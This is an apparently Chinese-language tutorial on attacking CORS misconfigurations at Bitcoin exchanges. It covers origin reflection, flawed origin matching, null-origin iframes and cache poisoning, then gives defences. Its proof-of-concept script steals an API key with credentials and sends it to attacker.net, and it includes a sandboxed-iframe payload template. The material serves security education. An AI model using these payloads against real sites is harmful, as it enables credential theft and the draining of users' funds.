如何利用CORS配置错误漏洞攻击比特币交易所
字数 1467 2025-08-29 08:32:30
利用CORS配置错误漏洞攻击比特币交易所 - 详细教学文档
1. CORS基础概念
1.1 同源策略(SOP)
同源策略是浏览器实施的安全机制,限制来自不同源的文档或脚本如何交互。同源定义为协议、域名和端口完全相同。
1.2 CORS机制
跨源资源共享(CORS)是一种放宽同源策略的机制,允许不同源的网站通过浏览器进行通信。
2. CORS安全配置
2.1 基本CORS头部
Access-Control-Allow-Origin: 指定允许访问资源的源Access-Control-Allow-Credentials: 允许跨域请求携带凭据(cookie等)
2.2 危险配置模式
-
通配符配置:
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true这种组合会被浏览器拒绝,是规范中的安全措施。
-
动态Origin反射:
服务器根据请求中的Origin头部动态生成响应头,存在安全隐患。
3. CORS配置错误攻击技术
3.1 凭证窃取攻击
攻击条件:
- 服务器动态反射Origin
- 允许凭据传输(Allow-Credentials: true)
攻击步骤:
- 构造恶意页面发送跨域请求
- 窃取API密钥或敏感数据
示例POC代码:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//attacker.net/log?key='+this.responseText;
};
3.2 Origin验证缺陷
-
后缀匹配漏洞:
- 信任所有以特定字符串结尾的域名
- 例如信任
advisor.com也会信任definitelynotadvisor.com
-
前缀匹配漏洞:
- 信任所有以特定字符串开头的域名
- 例如信任
https://btc.net也会信任https://btc.net.evil.net
3.3 null Origin攻击
触发条件:
- 服务器将
null列入白名单 - 可通过沙箱iframe获取null Origin
攻击方法:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src='data:text/html,<script>/*cors stuff here*/</script>'>
</iframe>
3.4 协议不匹配攻击
- HTTPS站点接受HTTP源的CORS请求
- 可通过MITM攻击绕过HTTPS保护
4. 缓存相关攻击
4.1 客户端缓存中毒
攻击条件:
- 存在反射型XSS漏洞
- 未设置
Vary: Origin头部 - 响应可被缓存
利用方法:
- 通过CORS发送恶意请求
- 恶意响应被缓存
- 受害者访问时从缓存加载恶意内容
4.2 服务器端缓存中毒
攻击条件:
- 存在HTTP头部注入漏洞
- 服务器不检查Origin中的非法字符
IE/Edge特有攻击:
- 发送包含
\r的Origin头部 - IE/Edge会将其视为头部终止符
- 可导致字符集修改等攻击
5. 实际案例分析
5.1 比特币交易所攻击案例
-
案例1:
- 动态反射任意Origin
- 可窃取API密钥
- 攻击者可转移比特币、启用2FA锁定账户
-
案例2:
- 信任null Origin
- 可窃取钱包加密备份
- 可进行离线暴力破解
-
案例3:
- 前缀匹配漏洞
- 网站突然关闭(可能已被攻击)
6. 防御措施
6.1 安全配置建议
-
严格Origin验证:
- 维护精确的白名单
- 避免动态反射
- 避免通配符和null
-
必要头部设置:
Vary: Origin Access-Control-Allow-Origin: https://trusted.example.com -
协议一致性:
- HTTPS站点只接受HTTPS源的请求
6.2 开发建议
- 避免动态生成CORS头部
- 实施严格的输入验证
- 考虑使用代理服务器处理跨域请求
7. 工具检测
- Burp Suite扫描器可识别文中讨论的所有缺陷
- 手动测试Origin反射和null Origin
8. 总结
CORS配置错误可能导致严重的安全问题,特别是当与凭证传输结合时。开发人员应严格验证Origin,避免动态反射,并理解规范中的安全限制。攻击者可以利用这些漏洞窃取敏感数据、绕过安全控制,甚至直接窃取加密货币资产。